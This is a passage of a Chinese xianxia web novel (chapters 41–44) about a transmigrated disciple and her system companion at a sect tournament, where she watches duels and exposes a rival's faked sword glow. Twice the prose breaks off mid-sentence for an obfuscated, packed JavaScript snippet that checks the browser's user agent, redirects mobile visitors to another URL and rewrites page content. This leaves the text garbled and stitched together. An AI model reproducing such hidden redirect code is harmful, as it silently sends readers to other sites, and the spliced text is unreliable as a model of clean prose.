不过很快,有人从被众人膜拜的幻想里暂时脱离出来:“可是掌教,照着剑谱练的话,三天时间是不是太紧张了。” “能不能从已经练过的几个人选一个教我们?” 慕行秋似乎也觉得这个建议合理:“既然如此……” 云珈跃跃欲试:“掌教,选我选我,我可会教人了,保证把大家教得宗主见了都得叫好!” 理所当然地,慕行秋笑着拒绝了她。 然后继续选人。 感受到慕行秋带着考量的视线在缓缓游移,祝昭昭把头埋得更低。 对视即被点。这是祝昭昭还在上学时,就从无数惨痛经历里总结出的珍贵经验。 不想当班干部,慕行秋选出教练剑的人之前,就绝对不能和他对上视线! 心中信念更加坚定,祝昭昭打定主意不抬头。 “那么——” 慕行秋开口的瞬间,祝昭昭感觉到他的视线锁定在自己这边。 …… 祝昭昭狠狠沉默。 她对天发誓,如果慕行秋最后选她来当这个老师,她一定立刻清除他记忆。 指派一次清一次,清到他换人那种。 这边祝昭昭下定决心,那边慕行秋也终于开口:“那便让齐青青来吧。” 被点到名,齐青青起身应下。云珈欢呼起来,祝昭昭也悄悄松了口气。 她宣布,这狗小子避免了一次无限循环。 祝昭昭:点烟·jpg 做好安排,慕行秋示意众人去小院里准备练剑。 跟着人流走进小院,直到在院子里站定,两眼放空的祝昭昭才突然反应过来—— 大家出来的目的是学习剑谱,可她已经学完剑谱,那她出来干什么? 眼看排在前面的人都陆陆续续跟着齐青青练剑,祝昭昭扭头想问身旁的云珈要不要跟自己回课室。 结果云珈已经高高兴兴地跟在众人后面,看齐青青当老师去了。 啊,行吧。 拍拍脑袋,扫了眼臭着脸站在边上旁观众人的刑煜,祝昭昭选择自己回课室去坐。 可人到门前,她却发现自己推不开课室的门。 立刻反应过来这是谁干的好事,祝昭昭沉默片刻,耷拉着死鱼眼往人群走。 见祝昭昭从自己面前路过,坐在石桌旁品茶的慕行秋微笑着朝她举起茶杯。 “喝一杯?” 真是是可忍孰不可忍。 恶向胆边生,祝昭昭直接走到慕行秋对面坐下。 “好啊。” 她眉眼弯弯:“那我要加牛乳。” 41. 你修为太低别乱点评 时间很快来到三日后。 今天就是宗门大比开始的日子。白月书像往常一样,敲门叫祝昭昭起床:“昭昭,你醒了吗?该出发去鸣剑台了。” 说是像往常一样,然而比平时重上几分的敲门声和难掩兴奋的声音,早已将白月书的真正情绪袒露无疑。 祝昭昭啼笑皆非地往门口走:“就来,月书师姐。” 打开门,却只见到白月书的身影。祝昭昭于是问:“怎么今天也不见秦师兄?” 说完她就愣了。 自己为什么要用‘也’? 不过这种小问题显然对白月书来说不足挂齿:“之衡他已经提前去了鸣剑台。” 祝昭昭‘哦’了一声:“但我记得月书师姐你们这几日都是修炼至天明。” “对。” 白月书黑亮的瞳仁里写满兴奋:“以至臻之境迎接宗门大比,是对它的最大尊敬。” 欲言又止的目光缓缓落在白月书眼底微青的眼圈,祝昭昭:“……” 彳亍吧。 您是女主,您说得对。 显然不想浪费半点时间,白月书抬手召开本命剑:“时间也不早了,昭昭,我们现在便出发吧。” * 只花了半刻钟不到,两人就到了鸣剑台。 哪怕已经对白月书的御剑速度习以为常,但从剑上下来的时候,祝昭昭还是有点难以调理。 毕竟正常情况下,从雾鸣山到鸣剑台至少需要三刻钟。 祝昭昭合理怀疑如果不是修为还不到,白月书会直接缩地成寸过来。 拍拍祝昭昭的肩膀,白月书指了指她右手边的方向:“往那边走,看到指示牌后就是内门新生的比试区。” “师姐和你不同路,就不和你一起过去了。” 顺着白月书手指的方向望,祝昭昭点头:“知道了。月书师姐你去忙吧,我一会儿再过去。” 闻言摸了摸祝昭昭的脑袋,白月书最后朝她比了个‘加油’的手势后转身离开。 直到白月书的身影彻底消失视线中,无视周围各种因白月书对她举止亲密而神色各异的视线,祝昭昭双手一背开始散步。 * 要说剑宗的宗门大比和其他宗门最大的不同,在于它的比试分阶很清楚。 外门对外门,内门新生对内门新生,内门老生对内门老生…… 分别比出排名后,如果分阶内有比试者强到足够进阶挑战,就可以继续比试。而如果挑战成功,则能够按照成绩进阶。 很多有天赋的外门弟子因为这个机制被发现,从而加入内门,得到更好的培养;剑宗也通过这个机制,筛选出了很多优秀弟子,从而更合理地安排历练队伍组成。 祝昭昭合理怀疑剑宗之所以在多年的修真界武力系宗门竞争里稳坐最强,除了宗里各个弟子修炼都很刻苦外,和这个机制不无关系。 在天玄山时,她也曾问过大长老司星为什么其他宗门不效仿这个机制,得到的答案是—— ‘如果优秀的弟子都有同样的身份和待遇,那有麻烦事要处理时,要找多少理由,才能证明宗门有公平存在?’ 好吧,为什么这个世界的男女主都设定在剑宗的理由也找到了。 不过值得一提的是,这个机制有个特殊的地方。 那就是如果内门新生想越级挑战内门老生,或是内门新生有能够挑战内门老生的能力,都要去做具体的修为评估,外门弟子挑战内门新生则不需要。 “好适合用来给龙傲天打脸的机制。” 祝昭昭边叨叨,边在抽签区停下脚步。 抽签,把结果交给旁边站着的师姐。一时半会儿没事干的祝昭昭闲逛到不远处的外门擂台。 因为人数众多,也因为外门弟子挑战内门新生,已经可以算是非正式的第四场比试。所以外门弟子的擂台一般比内门新生开早一天。 外门弟子比试结束,分出名次后充分休息缓冲完,就正好可以接上刚开始比试的内门新生。 * 此时的外门弟子擂台上,最后一场比试正在进行。祝昭昭抬眼,目光落在擂台上两道打得正热的身影。 两个青年,年纪看起来都不大。由于大比时统一身着剑宗弟子服,祝昭昭只能借两人发带的颜色为他们做区分。 束蓝色发带的青年,性格显然与喜爱颜色代表的情绪相悖。他出手极重,每次挥剑,暴烈剑气都会给对面带来相当大的压力。 一套快得没有喘息时间的连招下来,对面束白色发带的青年直接被剑气击中,砸在边缘的防护罩上。 眼见白发带青年从防护罩上滑落下来,祝昭昭听见前方响起感同身受的嘘声。 有人啧啧两下:“商玄下手真够重的,也不知道陈恕这小子比完得修养多久。” 很快有人接话:“没办法,谁叫最后是陈恕和商玄争第一。” “有什么好争的,陈恕虽然厉害,但肯定也是打不过商玄的啊。只能说咱们宗里不能主动认输这点不好。” “这确实。不过咱们宗里出过主动认输的人吗?” “好像没有。” “没有的东西为什么要专门出个规定?” “……防止意外需要?” “那换你上去,你需要?” “说什么呢!当然不需要!” 对话到此结束,说话的两人重新将注意力放在擂台。 却就在这时,他们听见一道女声慢悠悠响起。 “你们都说陈恕会输,我怎么不这么觉得。” 两人闻言先是一怔,而后扭头。 对上祝昭昭看着他们的目光:“陈恕是白色发带的那位对吧?” 说着无视对面两道‘这人从哪冒出来的,到底知不知道自己在说什么’的眼神,祝昭昭笑笑:“不信的话,我们可以继续看下去。” 朝擂台微抬下巴,她语气轻快:“不出意外的话,大概两刻钟就会出结果。” 明显被祝昭昭的话引起兴趣,两人沉默对视一眼,很快跟随她的视线重新看向擂台。 这边被蓝发带,也就是商玄重击过后,再次起身的陈恕显然更加慎重。 在商玄密集的攻击里不断闪躲,陈恕本该因疼痛而躁动的神色却始终静若深潭。 他在等。 左右闲得无聊,加上其实也对这次擂台比试感兴趣。祝昭昭凭借身材优势,很快挤到最前面去观战。 也就在她刚刚站定的时候,攻击一直落空的商玄终于被彻底激怒。 抓住两人错身的瞬间,他回身横斩,直取陈恕脖颈。 有人被这架势吓得一激灵:“天,下手这么狠?” “这是要杀人啊。” “虽然是擂台,但也不能把人往死了打吧?” 一片惊呼声里,只有祝昭昭嘴角笑意不变。 杀人? 显然不可能。 果然,剑光离陈恕脖颈仅有一线之隔时,他消失在原地。 下一秒,陈恕鬼魅般出现在商玄视线死角,而后高举起手中的剑。 却没有落下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280524|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 长剑在手中极速调转方向,陈恕以剑柄击中商玄持剑的右半边肩膀。紧接着,他单手持剑立于背后,在清脆的肩胛骨碎声里,一脚踢飞商玄的剑。 落地的刹那直接用灵力控制住商玄的行动,陈恕目光平静:“你输了。” 没想到本该毫无意外的比试结果,竟然爆出这么大的冷门,擂台边上静得落针可闻。 直到其中一个和祝昭昭交谈过的人梦游般喃喃:“怎么可能,竟然真的是陈恕赢了……可他明明刚到筑基后期不久啊……” “是么?” 祝昭昭看着笼罩在擂台周围的保护罩消失,那是比试结束的证明:“可商玄不也才刚刚进阶金丹初期?” “你不懂。” 另一个和祝昭昭说话的人终于反应过来,“刚才我就想说了,你不是我们外门这边的弟子吧。” 祝昭昭耸肩:“那和我说的有什么关系?” “关系可大了!” 那人满脸‘这里面学问可多了’的表情:“你是内门的你可能不知道,商玄在外门里是出了名的战斗狂人。别人可能都是修炼进阶的,但他是靠打架进阶的!” “他的金丹初期和别人的金丹初期根本不一样!” 说着‘嘶’了一声,那人继续:“陈恕虽然也经常上擂台,但他从来没有赢过商玄。所以他们刚开始上擂台的时候,大家都觉得这次比试结果肯定还是老样子。” “可最后居然是陈恕赢了!” 那人不可置信:“这到底是怎么回事?难道是跟你有关?要不然怎么你前脚说陈恕会赢,后脚他就真赢了呢?!” 越说越激动,他兴奋地盯着祝昭昭:“这位同门,烦请你帮我看看我之后的擂台比试是不是胜多输少?” 祝昭昭笑眯眯地看着面前的青年。 最后是青年的同伴实在嫌丢人才提醒他:“你还记得陈恕对商玄是外门的最后一场擂台赛吗?” 气氛突然就尴尬起来。 当做没看见石化的青年,祝昭昭重拾话头:“总之不管之前陈恕和商玄对上有没有赢过,但这次,他一定会赢。” “他准确地抓住了商玄进攻里的漏洞。” 没直接说是‘看透’,视线落在一把拍开陈恕伸向自己的手的商玄身上,祝昭昭意味深长:“重视实战是对的,但一味钻研进攻,就要做好被人找到漏洞的准备。” 石化结束的青年对这话显然不敢苟同:“那老话还说进攻就是最好的防守呢,而且看你年纪,修为最多也就筑基后期吧。” “你要更谦虚地向人学习才对,怎么能随意点评修为比你高的人呢。” 祝昭昭都被这话震惊了。 她平静地盯着青年:“我明白了,所以评价法器好不好用之前,评价的人还要先学会炼器。你是这个意思。” 旁边的人当场喷笑出声,青年傻眼。 祝昭昭面露同情地摇头。 而且修为? 很是努力地回忆了一番,她终于想起自己好像是前两天刚到的金丹中期。 这算正常进度吧? 思忖着,祝昭昭准备转身离开。 却就在这时,她突然感觉身后有一道锐利视线落在身上。 祝昭昭回头,继而对上一双泛着冷意的眼睛。 是商玄。 盯着祝昭昭的眼神像是要把她牢牢记在脑海。被祝昭昭发现,商玄收回视线,拎着剑转身走下擂台。 什么毛病? 耸耸肩,祝昭昭很快也离开观战区。 42. 这是置之死地而后生的一招! 内门比试擂台。 要问外门比试和内门比试的区别都有哪些,参加人选范围,毫无疑问是最大的一个。 “昭昭。” 远远就看见祝昭昭站在抽签区,云珈拉着齐青青朝她走过去:“你刚到的吗?我们找了你好久。” 指了指远处剩下稀稀拉拉一点人的外门比试擂台,祝昭昭说:“我在那边看了一会儿比试。” “外门擂台啊。”顺着祝昭昭手指的方向,云珈摸摸下巴,“听说外门这次魁首之争出了意外,最有希望夺魁的人居然输了。” “还是输给从来没赢过他的对手。” 祝昭昭点头:“对,我就是看的那场。” “是嘛!” 云珈惊呼,一下搂住祝昭昭:“所以是什么情况?那人怎么输的??” “大意轻敌输的。”被搂得表情管理差点失控,祝昭昭说完想了想,“其实也不算,他是被对手摸到了弱点。” “天,那这也太可惜了。”云珈啧啧出声,“眼睁睁看着马上要到手的魁首没了,那人得多难受啊。” 齐青青也有些惋惜:“一朝不慎,阴沟里翻船。” 祝昭昭闻言沉默。 不太懂这和阴沟里翻船到底有哪门子关系。 这边祝昭昭还在思考,那边云珈深深叹了声:“唉,要是我们这边的比试也和外门比试那样,仅限内门新生弟子参加该多好啊。” 她一副霜打茄子的蔫巴模样:“为什么我们要和其他非内门新生的人混在一起比,就不能分开吗?” “这么些年怎么也没人提这事啊?没人觉得这不合理吗?” 没人接话。 对上两张呆住的脸,云珈磕磕巴巴:“怎,怎么了。你们为什么这么看着我?” “居然还问为什么。” 伸出食指点在云珈脑门,齐青青恨铁不成钢:“只有内门新生参加的比试才很奇怪好吗。” “真按你说的做了,那宗门大比和班里实战排名赛还有什么区别?” 捂着脑门的云珈很委屈:“好吧,可是这样要比很久啊。” “比多久跟你有什么关系。”拍拍云珈肩膀,祝昭昭朝她晃晃手里的木牌,“我的比试时间还早。你呢,你第几位?” “还有青青。”祝昭昭朝齐青青微抬下巴,“你的比试什么时候开始?” 齐青青看向手心牌子:“我在第五位。” 云珈接着说:“我是第七位。” “那你们隔得很近。”祝昭昭伸了个懒腰,“既然这样,你们就好好调息准备吧,我自己随便再逛逛。” 对祝昭昭比了个‘知道了’的手势,齐青青带着云珈往准备区走。 恢复一个人的祝昭昭则在人群里站了片刻。 随着放空的目光突然在抽签处聚焦,她往开始聚起人群的内门比试擂台走去。 202被她毫无理由的架势吓一跳:“主人?你怎么了,干嘛一下子动起来?” 祝昭昭面不改色:“明白了,我下次两下子动起来。” 剩下的话全部这句被噎回去,202:“……” 赶在擂台还没站满人的时候好好观察了半天,祝昭昭终于找到位置站好。 202却震惊:“主人。” 心情很好的祝昭昭:“干什么?” “你已经找好位置,一会儿就在这里看?” “对。” “你确定?” 祝昭昭环视一圈:“确定,为什么不确定?” “可这里是整个擂台的最角落!”202终于绷不住了,“在这里能看到什么,看台上人背影吗??” “这里能看到的,比你想象得多。” 耳朵被202吵得嗡嗡响,祝昭昭皱眉:“而且我们的重点是观察,不是观战,不需要在显眼的地方。” 202几乎是速答:“观察谁?” 祝昭昭:“……” 好想揍它,真的。 一人一机交谈间,擂台上响起钟声,宣告比试正式开始。 随着裁判师姐一声清喝,两道身影飞身上台。 落在祝昭昭方向对面的青年先抱拳行礼:“许致远。” 许致远对面的青年这才不紧不慢地回礼:“刑煜。” “原来是他。” 听到这的202恍然大悟:“主人你是想观察刑煜对不对。” “一场擂台两个人,”祝昭昭叹气,“我就不能一起观察?” “当然可以,当然可以。”自觉说错话,202的机械音里都多了谄媚,“主人你当然想看什么都可以啦。” 它花式找补:“所以主人你是想知道,刑煜是怎么在这场比试里对许致远动手脚的对不对。” 终于听到能入耳的话,祝昭昭感慨:“对。” “可我突然发现个问题。” 202不解:“按资料提示,刑煜动手脚的时候,大反派很快就赶到并抓了他现行。” “可我现在并没有在附近发现他。为什么啊?” “因为现在他的确不在这里。” 祝昭昭和旁边眼看着就要从吵嘴升级成打架的两个人拉开距离:“我刚才大概了解了一遍大比的基本规则。” “擂台边上的裁判,是监控异常的第一道防线,师姐会在监视台上监视双方是否做了小动作。” “第二道防线,则是擂台四角放置的法器。” 目光落在离自己最近的法器上,祝昭昭抱臂:“这些法器能准确的捕捉到灵力和其他异常,然后第一时间传到掌刑司。” “而慕行秋,就是第二道,也是最重要那道防线的监视者。” “所以大反派这时候是在掌刑司吗?”202很认真地思考,“一旦擂台这边出了什么问题,他再第一时间赶到。” “也许是。”祝昭昭不置可否,“但也没有证据表明,监视期间他不能离开掌刑司。” “不过总而言之,这些都不是重点。眼下对我们来说最重要的,是盯紧台上这两个人。” 落在擂台的眸光微黯,祝昭昭环胸的手指轻敲:“既然慕行秋被邢子山反咬一口的原因,是其他人证不能算人证。那就来试试宗主亲传……” 算不算人证。 * 擂台上的战斗正式开始。 作为普通弟子,许致远虽然没有刑煜接受的课业学习多,但他与刑煜同为金丹且比刑煜有更多的对战经验。 所以一开始,刑煜其实并不能很好的招架住他的攻势。 202看得唏嘘:“这个叫刑煜的好像不太行诶,一直在挨打。” “难怪他最后要使阴招呢,这不使阴招的话岂不是第一把就要被人刷下去了?” 祝昭昭也赞同202的说法:“从某种程度上来说,面对这种情况,刑煜不使阴招,邢子山也会让他使,这是必然发生的事。” 202问:“所以主人你猜他什么时候会动手?” 什么时候? 下意识摸向袖口,祝昭昭若有所思:“慕行秋没在新生班当便宜掌教前,应该是许致远第二次快攻开始。” “慕行秋当了这个便宜掌教后……”祝昭昭抿唇,“我没办法告诉你准确答案。” ? 202:我的主人在说什么? “你为什么不用你的眼睛看看?” 202眼睛像闪光灯一样闪起来:“像我这样,闪起来~闪起来~亮晶晶……啊啊啊啊啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280525|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 双眼差点被202闪瞎,祝昭昭抬手就电:“动不动就用眼睛看,你怎么不让我从刑煜起床开始看?” 202被电得跳脚:“那这不是和任务有关吗,谨慎点怎么了嘛?” “正是因为和任务有关,才更要抓住最重要的时间使用能力!” 祝昭昭不耐烦:“不想挨电就给我安静点,不然就挑有用的话说。” 残留的细小电火花噼里啪啦响,202翻滚着终于闭嘴。 擂台上的战斗也来到白热化。 许致远不仅速度快,剑气也凌厉非常。加上用的剑法无比熟练,比赛开始不过几盏茶时间,刑煜的应对已经渐渐吃力。 人群嘈杂起来。 议论内容差不多都围绕着‘刑煜什么情况’以及‘许致远有两把刷子’这两类发散,祝昭昭眼见着刑煜的脸色随着话声越来越差。 生气了。 祝昭昭:看戏·jpg 在许致远差点把他一剑挑下台的时候,刑煜终于爆发。 “这时候才动真格,刚才岂不是白挨打。” 祝昭昭半吐槽半感慨的话音落下,刑煜身上也突然涌动起区别于开始的灵力。 下一秒,他拔剑起身,直接纵劈向许致远头顶。 没想到刑煜竟然还有余力反抗,许致远先是一惊。 很快反应过来,他咬牙闪到刑煜身后,想再重复一次刚才的杀招。 却扑了空。 回身,长剑抵住许致远的攻势,刑煜反手一掌将他击飞,又瞬间贴到他近前。 刑煜举起剑。 有人惊呼:“天呐,那是什么招数!” 有人洋洋得意:“哼,没见识了吧。这是我们掌教新教给我们的剑谱。” “什么剑谱,给我看看?” “想得美!除非……你拿灵石换。” “要多少。” “呦,来真的?那我——” “别胡说八道,小心回去掌教扒了你的皮!” …… 不得不说,在已学会的部分,刑煜掌握得很好。随着剑光道道,许致远完全被他压制。 祝昭昭也难得面露赞许:“看不出来,刑煜这小子也有像样的时候。” 而随着许致远的势弱,刑煜也越战越勇。 他高举起手里剑,灵力与剑光汇聚在剑锋,居然把他衬得平添几分英武。 这一剑劈下,第一场就打得如此精彩的他将成为很长一段时间的热门话题中心。 想到这,刑煜几乎快控制不住嘴角的笑。 然而不出意外的话,很快就要出意外了。 就在剑将要挥下的瞬间,剑锋上的光芒闪了两闪后,一下子灭了。 灭得之干脆,仿佛灯泡遭遇停电。 万籁俱寂。 很多人看到了,因为这事真的很明显。而且没了剑光笼罩,刑煜本来被衬得英武的脸都瞬间被打回原形甚至略显沧桑,让人想忽略都不行。 但很多人又不知道这是什么情况。因为剑谱并不外传,除了内门新生班,没人知道这是不是剑谱引起。 可对内门新生来说,有云珈使出的剑谱变式在前,他们并不知道这是不是专属刑煜的变式。 加上哪怕剑光灭了,刑煜神情却不变,甚至隐隐有些严肃起来—— 他没准是故意的呢? 大家更不敢吭声。 刑煜就在这不明觉厉的气氛里,获得了比赛的胜利。 欢呼声瞬间冲散了刚才的氛围,由裁判师姐宣布比赛结束。 刑煜得意地享受着观战众人或钦佩或羡慕的目光走下台。 然后下一秒—— 他正对上祝昭昭直勾勾盯着他的眼睛。 43. 大家听好了! 眼睁睁看着刑煜一双眼底翻涌着,从震撼到惊恐,到最后恢复平静,祝昭昭差点给他鼓掌。 好家伙,影帝不外如是。 紧接着,在擂台观众热烈目光的环绕里,一副高手模样的刑煜调转方向,似慢实快地朝祝昭昭站着的地方走去。 然后,在和她擦肩而过的瞬间,咬牙切齿:“忘掉你刚才看到的事,否则我绝不会放过你。” 很好,还敢在这节骨眼威胁她。 怎么就是记吃不记打呢? 祝昭昭笑得更加灿烂。 脸上表情一键切换成惊讶,她不可置信般高声:“你说什么?你说刚才那个其实不是剑光,而是你特意用灵力造出来的光?” “却因为最后一招用的灵力太多撑不住,光灭掉了?!” 死寂。 死一般的寂静。 所有人震撼了,眼睛瞪得比铜铃还大点,视线全部落在刑煜身上。 彼时的他甚至还没收起威胁祝昭昭的阴暗嘴脸。 导致效果更加炸裂。 惊恐到失神的目光一点点从周围欲言又止的众人移到祝昭昭脸上,刑煜嘴唇都在抖:“你,你……” “你什么?”祝昭昭很无辜,“我说错什么了?还是你觉得我声音太大?” “还是我其实不该说你灵力撑不住光才灭的?而是要说,光灭了是因为你灵力不够?” 祝昭昭力争反复点题:“又或者你觉得这样太直白,我应该婉转些,说灵力如果够,光是不会灭的。还是……” “够了!” 一张脸已经憋成猪肝色,刑煜破音大喊:“祝昭昭,我不会放过你的!” “我要回去告诉我父亲!!” 最后抛下这句话,刑煜狂奔出人群,很快消失在祝昭昭视线里。 所有目光顿时落在祝昭昭身上。 祝昭昭也一脸状况外。 真哭了啊? 沉默片刻,她对上众人视线,迟疑着开口。 “我,我也回去告诉我父亲?” * 祝昭昭看完云珈和齐青青的比试后,今天的擂台比试也接近尾声。 和两人道完别,她和从内门老生擂台那边找过来的白月书和秦之衡碰了面。 一副打得十足尽兴的样子,白月书春风满面地问祝昭昭:“昭昭,你今天都碰见了什么趣事?” 看着表情期待的白月书和秦之衡,祝昭昭突然就有点心虚:“嗯……教了同学怎么正确使用灵力。” “同窗之间的确应该互帮互助。”白月书一脸欣慰,“昭昭你能有如此善念,非常好。” “那位同学可否感谢你?” 祝昭昭已经不敢和面前的两人对视:“有吧……” “他……他说要回去告诉他父亲。” * 回到雾鸣山的时候,已经是傍晚。 暮色四合,橙黄的光透过窗户落在地上,与周围的阴暗隔得泾渭分明。 把祝昭昭送到小屋后,白月书和秦之衡就带着辟谷丹出发去了后山修炼。被他们剩在小屋的祝昭昭抱膝坐在椅子上,盯着那光芒发呆。 202都看不下去了:“主人,你干嘛一副被抛弃的可怜样,看起来好恶心。” “而且为什么不点灯啊,你不觉得屋子里太黑了吗?” 闻言闭眼深吸气,祝昭昭最后还是搭理了202:“今天。” “今天怎么了?” 很积极地飘到祝昭昭旁边,202一副经验十足的样子:“主人,有什么你得说,我们要一起解决问题。” “要知道在小世界里,我们俩才是一体的。你好我才好,我好,你也才会好。” 它越说越来劲,甚至趁机自夸:“像我这样的优秀系统,外面不知道多少维护员抢着要。但是呢,我和你搭档这么多年,肯定是直接拒绝他们了!” 无人应答。 落针可闻的空气里,202最后装没事人一样:“所以主人你要好好向我学习,专一!” “知不知道?” 还知不知道。 祝昭昭的回答,是调出电击惩罚界面。 目光从到处乱滚以缓解尴尬的202身上收回,祝昭昭看着窗外:“今天刑煜和许致远的比试,没有问题。” “那不是好事吗?”202滚着滚着滚上了瘾,“没有问题代表刑煜没有使坏,他不使坏,不就不会引起后面的一系列事了吗?” 祝昭昭听得一阵无语:“他不动手脚是因为今天暂时还不需要动手脚,不代表他接下来的比赛都不会再动手脚。” “这么看,慕行秋教的那套剑法确实不错。如果不是最后刑煜用出其中一招,剧情这会儿早就已经按时发生。” 202闻言,当场捧哏一样嚷嚷起来:“真是爱坏事的大反派!” “那这下怎么办啊,我们总不能一直盯着刑煜吧,主人你之后还要比赛呢。” 没有回答,祝昭昭的脸在臂弯里埋得更深,只露出双眼睛久久凝视着地面的光影。 直到202漂浮着滚到她跟前的时候,才终于回过神来。 “到我上擂台之前,刑煜还有两场比试,” 一把挥开已经快贴到脸上的202,祝昭昭起身:“既然观察一场找不到问题,那就多看两场。” “毕竟邢家地位摆在那,他肯定不能只拿太低的名次,否则邢家不会善罢甘休。而只要他想冲排名,遇到强劲对手时,就必然会搞小动作。” “所以我们要做的就是等,等到他不得不出手为止。” 最后一点暮色被黑夜彻底吞没,祝昭昭挥手点亮桌上油灯,很快离开房间。 * 说观察就观察。言出必行的祝昭昭第二天准时出现在大比现场。 只当没看见发现自己时刑煜骤变的扭曲脸色,祝昭昭没事人一样笑眯眯地和他打招呼。 刑煜抱着剑,警惕又恼怒地盯着祝昭昭:“你竟然还敢来!” “我怎么不敢来。”祝昭昭笑眯眯地,“作为大比中的一员,我来这里只是为了观战吸收经验。宗里哪条规则限制本宗弟子不能来观战?” 刑煜被噎得一哽:“你……!” 祝昭昭拉长音调:“还是说……” “你真的回去和你你父亲告状了,所以现在见到我就心虚?” “当然没有!”刑煜急了,喊完又反应过来,“而且就算我和父亲告状又怎样,我凭什么心虚?!” “哎呀,没告状就好。” 祝昭昭当作没听见:“毕竟我虽然是宗主亲传,但在那之外,我无父无母,比不上你出身名门,家大业大。要是你真心想报复我,我可没有反击之力。” 见刑煜不吭声,祝昭昭决定再添把火:“而且说实话,除了最后一招出了点……意外。其实你表现得还是很不错的。尤其是翻盘那招——” 祝昭昭力求让自己看起来很真诚:“非常厉害。” 而毫无意外的,最后一句话落下,祝昭昭眼睁睁看着刑煜本来满是憋屈的脸开花一样舒展起来。 但嘴巴还是很硬:“哼……就算你这么说,事情 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也许刑煜自己都没注意到,随着祝昭昭拉长的话音,他呼吸都下意识跟着放慢,俨然已经被祝昭昭深深影响。 祝昭昭终于把话说完:“你赢得倒是利落。” 刑煜表情瞬间空白:“……” “所以你下一场的对手是谁?”祝昭昭问。 “我凭什么告诉你?”悄悄松了口气,刑煜作势要走,“自己去抽签处查。” 祝昭昭嘴角多了点笑:“你确定?” “到时候我问着问着和师姐师兄们聊起来,一不小心……” “李如成!” 刑煜感觉脑子嗡嗡的:“不要问我李如成是谁,我不会再回答了!!” “不回答就不回答,声音那么大干什么。” 无比专注的目光落在刑煜背影,祝昭昭语气却轻快:“连赢两场,你该高兴才对,老把脸拉那么长,真不像话。” “管好你自己吧!”刑煜终于绷不住了,“现在说风凉话,小心上擂台就被人打下来!” “那不是你该操心的事。” 眨眨眼,祝昭昭收回视线:“不过你都把话说到这份上了,我还是争取多赢两次比较好。” “否则被你看了笑话,多不好意思。” 刑煜的回答,是一声冷笑。 目的达到,祝昭昭才懒得再搭理他。和正从人群里往自己这边来的云珈和齐青青抬手示意,她哼着小曲自言自语:“比赛时间到咯。” 伸了个懒腰,祝昭昭走到擂台边上的事务台,准备交木牌比赛。 边递木牌,她边问身旁的云珈:“徐余之怎么还没到,不会是彻夜修炼,忘了今天要上擂台吧?” 徐余之,内门新生班的学生,也是祝昭昭这次比试的对手。 这本是句随口玩笑话。 却没想到云珈听完,瞬间瞪大眼望着她。 与此同时,事务台后本来一言不发地处理木牌的师姐发话了:“师妹,你没收到通知么?” “你的对手,昨天已经临时更换了。” 师姐的话还在耳边,祝昭昭眼尾余光瞥见有人落在擂台上。 她于是顺着转身。 正对上一张不算陌生的脸。 依旧是初见时那副冷淡又严肃的模样。擂台上,青年向着祝昭昭抱拳一礼—— “外门,商玄。” 44. 怎么会有人打掉对手的剑啊? 祝昭昭有点意外。 所以现在的情况是,这个叫商玄的,向她越级挑战了? 朝台上的青年微微颔首,算是暂且应下他的抱拳礼,祝昭昭向师姐求证。 “没错。” 师姐也很干脆地点了头:“挑战开始前,我们都会提前传信通知被挑战者。师妹你难道没有收到传信鹤?” 提前传信? 祝昭昭于是狠狠回忆了一下。 然后确实想起来点什么:“这么说来,昨天临睡前我好像确实收到一只纸鹤。” 云珈插嘴问:“你没打开?” 祝昭昭犹豫答:“那时候太晚我太困,所以……” 睡前不看通知信息是共识好吗! 祝昭昭:指指点点·jpg 云珈拍拍祝昭昭肩膀,就连齐青青也忍不住轻笑出声。 比起祝昭昭的心虚又或是云珈和齐青青的惊讶,还在整理桌上信纸的师姐倒是平静得多,似乎早已对这种情况见怪不怪。 所以眼皮都没抬地,她直接一指台上:“如今再说看不看的也没什么用了,直接上台比赛罢。” 如获大赦的祝昭昭立刻乖巧地应了句是,接着一跃落在擂台。 她重新正式地,向商玄抱拳一礼:“内门,祝昭昭。” 随着一声钟响,比赛开始。 看着擂台上瞬息间已经分辨不出身形的两道白影,云珈惊叹:“怎么这么快。” “昭昭厉害我知道,外门那边也有这么厉害的弟子吗?” “你在说什么。”齐青青不赞同地皱眉,“外门虽然听上去没有内门名号响亮,但里面同样有很多厉害的弟子。尤其是这位商玄——” “若是云珈你与他对上,只怕输多胜少。” “好吧,是我说得不对。”知道齐青青是真生气了,云珈蔫头巴脑,“可是输多胜少也太夸张了吧,我好歹也是马上要金丹中期的人了。” “你对我就这么没有信心吗?” 齐青青望着擂台的神色沉沉:“不是我对你没有信心。” “而是若论实战,同修为阶级里,没有几个人比得这位商玄师弟经验丰富。只要他想,他早就会是内门新生里的一员。” “这次外门比试,他虽然没有拿到想要的结果,但不出意外的话,宗门大比结束后,就是他进内门的时间。” 云珈似懂非懂:“所以青青你是想说,他准备拿和昭昭的这次比试,当做进内门新生班的问路石吗?” “很有可能。” 齐青青挽起鬓角碎发:“所以我担心昭昭……可能要受些皮肉之苦了。” * 祝昭昭完全没注意到擂台下两人的对话。 拔地而起的剑气挡住商玄的攻势,祝昭昭几个弹身和他拉开距离。 手中长剑划出一道锐利剑光,商玄冷冷注视着她。 被看得浑身不自在,祝昭昭神色有些无奈:“你一直都这么板着张脸对人吗?” 商玄沉默。 